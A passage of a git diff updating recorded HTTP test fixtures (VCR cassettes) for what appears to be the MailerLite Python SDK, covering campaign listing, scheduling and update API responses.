unsubscribe:\n{$unsubscribe}\n","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/163431877889230206\/1284x7362025-08-22-12:04:48.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/163431877889230206","created_at":"2025-08-22 + 11:06:24","updated_at":"2025-08-22 12:04:51","is_designed":true,"language_id":4,"language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":"Video"}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[{"id":100093655191127682,"account_id":83510,"created_at":"2023-09-23T08:12:28.000000Z","updated_at":"2025-04-23T05:47:38.000000Z","deleted_at":null,"name":"Grupa + 1","active_count":1,"open_rate":"1","click_rate":"0.5","serial_no":1068792,"sent_count":4,"opens_count":4,"clicks_count":2,"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0}],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":false},"is_eligible_for_sending":false,"needs_repair":true},{"id":"150025614577894718","account_id":"83510","name":"Header + testing","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false},"filter":[[{"operator":"in_any","args":["groups",["100093655191127682"]]}]],"filter_for_humans":[["In + any group: Grupa 1"]],"delivery_schedule":null,"language_id":"4","language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"created_at":"2025-03-27 + 11:39:35","updated_at":"2025-03-27 11:39:35","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"150025614588380479","emails":[{"id":"150025614588380479","account_id":"83510","emailable_id":"150025614577894718","emailable_type":"campaigns","type":"builder","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","name":null,"subject":"Header + testing","plain_text":"Hello,\n\nYou have received a newsletter from {$account}.\n\nHowever, + your email software can''t display HTML emails. You can view the newsletter + by clicking here:\n\n{$url}\n\n\n\nYou''re receiving this newsletter because + you have shown interest in {$account}.\nNot interested anymore? Click here + to unsubscribe:\n{$unsubscribe}\n","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/150025614588380479\/1284x7362025-03-27-11:41:10.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/150025614588380479","created_at":"2025-03-27 + 11:39:35","updated_at":"2025-03-27 11:41:13","is_designed":true,"language_id":4,"language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":"Header + testing"}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[{"id":100093655191127682,"account_id":83510,"created_at":"2023-09-23T08:12:28.000000Z","updated_at":"2025-04-23T05:47:38.000000Z","deleted_at":null,"name":"Grupa + 1","active_count":1,"open_rate":"1","click_rate":"0.5","serial_no":1068792,"sent_count":4,"opens_count":4,"clicks_count":2,"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0}],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":false},"is_eligible_for_sending":false,"needs_repair":true},{"id":"146048570605176479","account_id":"83510","name":"Aaaa","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false},"filter":[[{"operator":"in_any","args":["groups",["100093655191127682"]]}]],"filter_for_humans":[["In + any group: Grupa 1"]],"delivery_schedule":null,"language_id":"4","language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"created_at":"2025-02-11 + 14:06:10","updated_at":"2025-02-11 14:06:10","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"146048570614613664","emails":[{"id":"146048570614613664","account_id":"83510","emailable_id":"146048570605176479","emailable_type":"campaigns","type":"builder","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","name":null,"subject":"Test","plain_text":"Hello,\n\nYou + have received a newsletter from {$account}.\n\nHowever, your email software + can''t display HTML emails. You can view the newsletter by clicking here:\n\n{$url}\n\n\n\nYou''re + receiving this newsletter because you have shown interest in {$account}.\nNot + interested anymore? Click here to unsubscribe:\n{$unsubscribe}\n","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/146048570614613664\/1284x7362025-02-11-15:14:29.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/146048570614613664","created_at":"2025-02-11 + 14:06:10","updated_at":"2025-02-11 15:14:32","is_designed":true,"language_id":4,"language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":""}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[{"id":100093655191127682,"account_id":83510,"created_at":"2023-09-23T08:12:28.000000Z","updated_at":"2025-04-23T05:47:38.000000Z","deleted_at":null,"name":"Grupa + 1","active_count":1,"open_rate":"1","click_rate":"0.5","serial_no":1068792,"sent_count":4,"opens_count":4,"clicks_count":2,"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0}],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":false},"is_eligible_for_sending":false,"needs_repair":true},{"id":"140321237718009175","account_id":"83510","name":"GA + TEST","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false},"filter":[[{"operator":"in_any","args":["groups",["107641605251400900"]]}]],"filter_for_humans":[["In + any group: Grupa2"]],"delivery_schedule":null,"language_id":"4","language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"created_at":"2024-12-10 + 08:52:40","updated_at":"2024-12-10 08:52:40","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"140321237728494952","emails":[{"id":"140321237728494952","account_id":"83510","emailable_id":"140321237718009175","emailable_type":"campaigns","type":"builder","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","name":null,"subject":"GA + TEST","plain_text":"Hello,\n\nYou have received a newsletter from {$account}.\n\nHowever, + your email software can''t display HTML emails. You can view the newsletter + by clicking here:\n\n{$url}\n\n\n\nYou''re receiving this newsletter because + you have shown interest in {$account}.\nNot interested anymore? Click here + to unsubscribe:\n{$unsubscribe}\n","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/140321237728494952\/1284x7362024-12-10-08:54:55.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/140321237728494952","created_at":"2024-12-10 + 08:52:40","updated_at":"2024-12-10 08:54:58","is_designed":true,"language_id":4,"language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":""}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[{"id":107641605251400900,"account_id":83510,"created_at":"2023-12-15T15:43:54.000000Z","updated_at":"2025-08-29T11:15:21.000000Z","deleted_at":null,"name":"Grupa2","active_count":9,"open_rate":"0.875","click_rate":"0.25","serial_no":1406724,"sent_count":8,"opens_count":7,"clicks_count":2,"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0}],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":false},"is_eligible_for_sending":false,"needs_repair":true},{"id":"139788424618968937","account_id":"83510","name":"Test + Campaign","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":null,"language_id":"1","language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"created_at":"2024-12-04 + 11:43:50","updated_at":"2024-12-04 11:43:50","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"139788424633649039","emails":[{"id":"139788424633649039","account_id":"83510","emailable_id":"139788424618968937","emailable_type":"campaigns","type":"builder_html","from":"testuser@mailerlite.com","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a test campaign","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/139788424633649039\/1284x7362024-12-04-11:43:53.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/139788424633649039","created_at":"2024-12-04 + 11:43:50","updated_at":"2024-12-04 11:43:55","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":false,"needs_repair":true},{"id":"139786623719048454","account_id":"83510","name":"Test + Campaign","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":"scheduled","language_id":"1","language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"created_at":"2024-12-04 + 11:15:12","updated_at":"2024-12-04 11:35:05","scheduled_for":"2025-01-01 12:00:00","queued_at":null,"started_at":null,"finished_at":null,"stopped_at":"2024-12-04 + 11:35:05","default_email_id":"139786623732679943","emails":[{"id":"139786623732679943","account_id":"83510","emailable_id":"139786623719048454","emailable_type":"campaigns","type":"builder","from":"testuser@mailerlite.com","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a test campaign","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/139786623732679943\/1284x7362024-12-04-11:16:16.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/139786623732679943","created_at":"2024-12-04 + 11:15:12","updated_at":"2024-12-04 11:17:00","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":""}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":true,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":false,"needs_repair":true}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/campaigns?page=1","last":"https:\/\/connect.mailerlite.com\/api\/campaigns?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/campaigns?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/campaigns","per_page":10,"to":8,"total":8,"aggregations":{"all":12,"draft":8,"ready":0,"sent":4}}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cc5da3b71a6-BEG + - 9818abe5b877e28f-BEG Cache-Control: - no-cache, private Connection: @@ -60,7 +101,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:18 GMT + - Fri, 19 Sep 2025 11:16:32 GMT Server: - cloudflare Transfer-Encoding: @@ -69,14 +110,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '116' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-schedule.yml b/tests/vcr_cassettes/campaign-schedule.yml index b280d21..eed423d 100644 --- a/tests/vcr_cassettes/campaign-schedule.yml +++ b/tests/vcr_cassettes/campaign-schedule.yml @@ -1,6 +1,6 @@ interactions: - request: - body: '{"delivery": "scheduled", "schedule": {"date": "2024-12-06", "hours": "22", + body: '{"delivery": "scheduled", "schedule": {"date": "2025-09-21", "hours": "22", "minutes": "00"}}' headers: Accept: @@ -16,41 +16,29 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: POST - uri: https://connect.mailerlite.com/api/campaigns/139789204514145550/schedule + uri: https://connect.mailerlite.com/api/campaigns/165969226036676056/schedule response: body: - string: !!binary | - H4sIAAAAAAAAA6RX62/bNhD/V1giBTZAjq00ThMtLQZ0G4ahL2z5MkwFcZbO8jUUqfKRxDP8vw+k - HpZdtwmwTyJ/9z4ej6cNL8EBzzacSp7x9MXVy8urs9n5PD1Pz+fz+YwnHIpCe+VE5Lh8MU8DqKBG - nvH3eM/eQN0AVYq9D1jC3boJJIOVl2B4wq0D522EoFzzhNdkLalKtLb/+ZRwi86RqmzwxBkoboVu - UFmeOeMx4d6iqLSuJApQINeOCsuzJUiLCcdC1zWaAkWUJFV1pG3ClyQdmtZGuxZLbcTK1xC0B7hE - SXdo1sIWKyy9DL73y5InXIKqPFTYxp/yhBcGwWEpwPGMn83Ozifp2WR2ztI0m19k6TlPuG/K77Fc - haz0NoJHY64LdpZms1k2C3n+4tF3epSXMibTuD1kSYrs6oBJN80eUuISvHQCayApDg57nl5enZ9d - vuQJj/SQma8qYsR0tCKiJCwkim+X0o6nK5Kiqx27q5uFJ1miEStXS57wpdE1z7hD67xF83PQgEaS - w9NC1x2D6MrxBq1j70DxhBts5Fo4zTNOlT4i14p0+fKLz1iEs7pZkWVkGTCF9yxYZb2PrOdKeKGV - QxX4r5/98uHNzd8ff2XB39e5uu6+jF2vEMq4Yuz62WSyOQmAcLrZTiavR8hCO6frAHbMjpzE109w - 5TqftrzRXj4dLF4vdLlmhQRrX+U858y6tcS43PMosO17NEY6zlXarRgLCe7QfLpKxzJfRRFNsnCq - r3Lu8MHl08LawYHTWv6mtUPDmk0NpiKVzbY/11gSMK3kmtnCICoGqmQ/1PAwuafSrbKL81nz8OPm - tJZv2kO4CfW0aYnpbPb8GdWNNg6U+6kmNekJe3hnbgQtpQaXKa1wB253Rj54h2bTQFmSqiZtqHvy - PUni0mXpvHk4QjNUrb5JdLoZK9xuhzTHPH4709f5NKCh9PJpLD6e8EYCKRGSzjP+1x3SLSW5ytUf - uZ+lFwvLKrjTDtnmpLvLW6bAfyZUEijypLfhc7Y8ZTcQVrOSwLNePnxevmAoT1kDLb/TrDG6MlDD - bqGwAQl0q9nvN+/esqU2NTh9Glx5f9weqyBcUmbAOmK95SxIbE68kduw+ggVmAVBCGoXQqDEIJEq - z8AhufVnZAoXqLQJSivwjo4E3YaTMNuAt7eBc2R4c+KV9QtbGFrgNlexd4fStCvthDey7yKNwTvC - +xbiK+cam+XTfNrhp6MWRHqA82nsoPm0bb359GjL/f9vTtBCVpRoqVJY9k/r3vOW7va7mSDEu9LG - FboMPVa6qEhfvLiKu8nbm9088JbQ+bv+RIF4wksyWDjSKnIbvo1u3JNS4WHu3vAwIsTH38a2Okt4 - fP9FPKa494q+eBSHcNgLAy76Gy9xhK0zcQ7gs+fBYCGpuD2i7Ss8Ao/rGxXEvtYBflyHbaAeycbt - o0IrMOG98KrYMzyCn2BYL90RHSP4cR1Lbe7BlGP5DnqK/YJAClIODcTK2HfjkPrE4xVOi6dUQ/AA - VSlgGSfD9uoenzmtsN7c4Xoo04h98fTvgDQGw6Pba9p+ikylICXAO11DjG9gD6/h3gTK/xzGZLKi - m9sG9hXsbkrraLsTd2hsSM2g6oAeIgwTtqN6394Bl8QitIwalAcp16OBsQg6N11T6XNSosTdLhjp - 14Vu1v3aYEvph/CYtWFKPzK3d7e/NXws7wUosUCxG8t7QshZDcYNAZMq8UHoJhZOPxmP2aFpJLVD - 93dEB4l7MKr9MQn/CmRF4Y1B5eR6kNPeHTpa6IZ2LTac4gIsFaL/HWnxMbZ3SBtOqpC+xFJURvum - s44PR8CB02JVo3KHvPswSCnCrbpDMbQq05V825hRUkVhQo8JakPsHVaIpRUGG6C+dW+3/wEAAP// - AwB/q8gyQw4AAA== + string: '{"data":{"id":"165969226036676056","account_id":"83510","name":"New + Campaign Name","type":"regular","status":"ready","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":"scheduled","language_id":"1","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:33","scheduled_for":"2025-09-21 20:00:00","queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"165969226051356122","emails":[{"id":"165969226051356122","account_id":"83510","emailable_id":"165969226036676056","emailable_type":"campaigns","type":"builder_html","from":"sdk@igor.fail","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a new test + campaign subject","content":"<!DOCTYPE html>\n<html>\n <head>\n <!--{$head_top}--><!--{$head_bottom}-->\n <title>This + is a new test campaign subject<\/title>\n <\/head>\n <body class=\"\" style=\"\">\n <!--{$body_top}-->\n <!--{$body_top}-->\n <h1>\n Test\n <\/h1><!--{$body_bottom}-->\n <style + type=\"text\/css\">\n .mlFooter p {\n margin: 0;\n }\n\n @media + only screen and (max-width: 640px) {\n .mlContentTable{\n width: 100%!important;\n min-width: + 10%!important;\n margin: 0!important;\n float: none!important;\n }\n\n .mlContentOuter{\n padding-bottom: + 0!important;\n padding-left: 15px!important;\n padding-right: 15px!important;\n padding-top: + 0!important;\n }\n }\n <\/style><!--{$body_bottom}-->\n <\/body>\n<\/html>","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":"2025-09-19 + 11:16:31","preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969226051356122","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cc8cdf9e290-BEG + - 9818abe9c90a1b8b-BEG Cache-Control: - no-cache, private Connection: @@ -60,7 +48,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:19 GMT + - Fri, 19 Sep 2025 11:16:33 GMT Server: - cloudflare Transfer-Encoding: @@ -69,14 +57,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '115' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-update.yml b/tests/vcr_cassettes/campaign-update.yml index 37b720e..07e7480 100644 --- a/tests/vcr_cassettes/campaign-update.yml +++ b/tests/vcr_cassettes/campaign-update.yml @@ -1,7 +1,7 @@ interactions: - request: body: '{"name": "New Campaign Name", "language_id": 1, "emails": [{"subject": - "This is a new test campaign subject", "from_name": "Test Man", "from": "testuser@mailerlite.com"}]}' + "This is a new test campaign subject", "from_name": "Test Man", "from": "sdk@igor.fail"}]}' headers: Accept: - application/json @@ -10,47 +10,35 @@ interactions: Connection: - keep-alive Content-Length: - - '171' + - '161' Content-Type: - application/json User-Agent: - MailerLite-Python-SDK-Client method: PUT - uri: https://connect.mailerlite.com/api/campaigns/139789204514145550 + uri: https://connect.mailerlite.com/api/campaigns/165969226036676056 response: body: - string: !!binary | - H4sIAAAAAAAAA6xXbW/bNhD+KyzRARsgx1aa9EXLigHdhmFou2HLl2EaiLN0lq+hSJU8JvEM//eB - 1Ivt1F3zYZ9EPvd+PPJOW1kDgyy2kmpZyPzZqxcvX50vLi7zi/zi8vJyITMJVWWDYZU4Xj67zCNo - oEVZyPd4J95A2wE1RryPWCZ500WSwyZocDKTnoGDl4WsHaxYZrIl78k0qrf919+Z9MhMpvHRE3ZQ - 3SjbofGyYBcwk8GjaqxtNCowoDdMlZfFCrTHTGJl2xZdhSpJkmkG0i6TK9KMrrfRr9XKOrUOLUTt - Ea5R0y26jfLVGuugURYmaJ1JDaYJ0GAfeC4zWTkExloBy0KeL84vZvn5bHEh8ry4fF7kFzKToav/ - 